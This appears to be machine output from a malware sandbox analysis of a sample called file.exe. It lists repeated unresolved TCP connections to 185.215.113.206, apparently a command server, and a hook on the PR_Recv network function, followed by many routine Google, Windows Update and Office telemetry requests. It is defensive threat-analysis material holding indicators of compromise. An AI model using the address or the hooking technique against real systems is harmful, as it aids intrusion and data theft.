Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6FCC60 PR_Recv,

0_2_6C6FCC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=N7EYgFsUA+ynnuA&MD=BEFM5bt6 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=N7EYgFsUA+ynnuA&MD=BEFM5bt6 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
